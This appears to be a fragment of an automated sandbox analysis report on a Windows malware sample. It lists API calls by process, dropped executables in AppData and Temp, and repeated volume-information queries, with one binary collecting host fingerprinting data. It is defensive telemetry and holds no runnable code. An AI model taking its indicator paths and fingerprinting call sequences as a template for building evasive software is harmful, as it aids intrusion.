Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,_malloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,GetCPInfo,__crtLCMapStringA,__crtLCMapStringA,__crtGetStringTypeA,free,free,free,free,free,free,free,free,free,	3_2_10A6B48C
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,malloc,GetLocaleInfoEx,WideCharToMultiByte,free,	3_2_10A73C3C
Source: C:\Windows\explorer.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_10A73D98
Source: C:\Windows\explorer.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_num,free,free,free,	3_2_10A745EC
Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,	3_2_10A74D74
Source: C:\Windows\explorer.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,GetACP,	3_2_10A75F78
Source: C:\Windows\explorer.exe	Code function: __crtGetLocaleInfoA,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,_calloc_crt,free,_invoke_watson,	3_2_08B8C38D
Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,_malloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,_calloc_crt,__crtLCMapStringA,__crtLCMapStringA,__crtGetStringTypeA,free,free,free,free,free,free,free,free,free,	3_2_08B8ADC1
Source: C:\Windows\explorer.exe	Code function: __getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,	3_2_08B946A9
Source: C:\Windows\explorer.exe	Code function: _calloc_crt,_malloc_crt,free,_malloc_crt,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__getlocaleinfo,__free_lconv_num,free,free,free,	3_2_08B93F21
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: _getptd,GetLocaleInfoEx,GetLocaleInfoEx,TestDefaultCountry,GetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,GetLocaleInfoEx,_invoke_watson,	4_2_00007FF60E63D744
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,GetLocaleInfoEx,GetLocaleInfoEx,GetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,_invoke_watson,_invoke_watson,	4_2_00007FF60E63DD68
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,GetACP,	4_2_00007FF60E63DBB0
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,GetLocaleInfoEx,_calloc_crt,GetLocaleInfoEx,free,GetLocaleInfoEx,_invoke_watson,	4_2_00007FF60E633B98
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00007FF60E63AB7C
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: EnumSystemLocalesEx,	4_2_00007FF60E63AC1C
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: GetLocaleInfoEx,	4_2_00007FF60E63DC64
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Code function: GetLocaleInfoEx,malloc,GetLocaleInfoEx,WideCharToMultiByte,free,	4_2_00007FF60E63AA20
Source: C:\Windows\System32\svchost.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,GetLocaleInfoEx,GetLocaleInfoEx,GetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,_invoke_watson,_invoke_watson,	5_2_00007FF60BFADD68
Source: C:\Windows\System32\svchost.exe	Code function: _getptd,GetLocaleInfoEx,GetLocaleInfoEx,TestDefaultCountry,GetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,GetLocaleInfoEx,_invoke_watson,	5_2_00007FF60BFAD744
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,malloc,GetLocaleInfoEx,WideCharToMultiByte,free,	5_2_00007FF60BFAAA20
Source: C:\Windows\System32\svchost.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	5_2_00007FF60BFAAB7C
Source: C:\Windows\System32\svchost.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,GetLocaleInfoEx,_calloc_crt,GetLocaleInfoEx,free,GetLocaleInfoEx,_invoke_watson,	5_2_00007FF60BFA3B98
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,GetACP,	5_2_00007FF60BFADBB0
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesEx,	5_2_00007FF60BFAAC1C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,	5_2_00007FF60BFADC64
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_00007FF8B836FA48
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: GetProcAddress,GetLocaleInfoW,	9_2_00007FF8B831DC20
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: EnterCriticalSection,EnumSystemLocalesW,LeaveCriticalSection,	9_2_00007FF8B836D2E0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: EnumSystemLocalesW,	9_2_00007FF8B836F35C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: GetPrimaryLen,EnumSystemLocalesW,	9_2_00007FF8B836F3C4
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: GetPrimaryLen,EnumSystemLocalesW,	9_2_00007FF8B836F478
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_00007FF8B836F8C0
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,	10_2_00007FF69BEDDC64
Source: C:\Windows\System32\svchost.exe	Code function: EnumSystemLocalesEx,	10_2_00007FF69BEDAC1C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,GetACP,	10_2_00007FF69BEDDBB0
Source: C:\Windows\System32\svchost.exe	Code function: __crtGetLocaleInfoA,GetLastError,__crtGetLocaleInfoA,_calloc_crt,__crtGetLocaleInfoA,_calloc_crt,free,free,GetLocaleInfoEx,_calloc_crt,GetLocaleInfoEx,free,GetLocaleInfoEx,_invoke_watson,	10_2_00007FF69BED3B98
Source: C:\Windows\System32\svchost.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	10_2_00007FF69BEDAB7C
Source: C:\Windows\System32\svchost.exe	Code function: GetLocaleInfoEx,malloc,GetLocaleInfoEx,WideCharToMultiByte,free,	10_2_00007FF69BEDAA20
Source: C:\Windows\System32\svchost.exe	Code function: _getptd,GetLocaleInfoEx,GetLocaleInfoEx,TestDefaultCountry,GetLocaleInfoEx,TestDefaultCountry,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_invoke_watson,_getptd,GetLocaleInfoEx,_invoke_watson,	10_2_00007FF69BEDD744
Source: C:\Windows\System32\svchost.exe	Code function: _getptd,TranslateName,GetLocaleNameFromLangCountry,GetLocaleNameFromLanguage,TranslateName,GetLocaleNameFromLangCountry,ProcessCodePage,IsValidCodePage,GetLocaleInfoEx,GetLocaleInfoEx,GetLocaleInfoEx,_itow_s,GetLocaleNameFromLanguage,_invoke_watson,_invoke_watson,	10_2_00007FF69BEDDD68
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: GetSystemInfo,GetUserDefaultUILanguage,GetDesktopWindow,GetClientRect,GetUserNameA,GetComputerNameA,GetVersionExA,GetCurrentHwProfileA,GetModuleFileNameA,GetLocaleInfoEx,GetSystemFirmwareTable,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SetCurrentDirectoryW,CreateDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,CreateDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,CreateDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,GetSystemMetrics,CreateDirectoryW,SetCurrentDirectoryW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	11_2_00007FF68396E23C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: GetLocaleInfoW,	11_2_00007FF68395C348
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	11_2_00007FF6839653E4
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_00007FF6839658A8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: EnumSystemLocalesW,	11_2_00007FF683965810
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: EnumSystemLocalesW,	11_2_00007FF683965740
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: GetLocaleInfoW,	11_2_00007FF683965CF8
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_00007FF683965C48
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: GetLocaleInfoW,	11_2_00007FF683965AF0
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_00007FF683965E2C
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Code function: EnumSystemLocalesW,	11_2_00007FF68395BDB0

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\ucrtbase.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-console-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-datetime-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l2-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-libraryloader-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-localization-l1-2-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-memory-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-namedpipe-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-profile-l1-1-0.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-util-l1-1-0.dll VolumeInformation	Jump to behavior
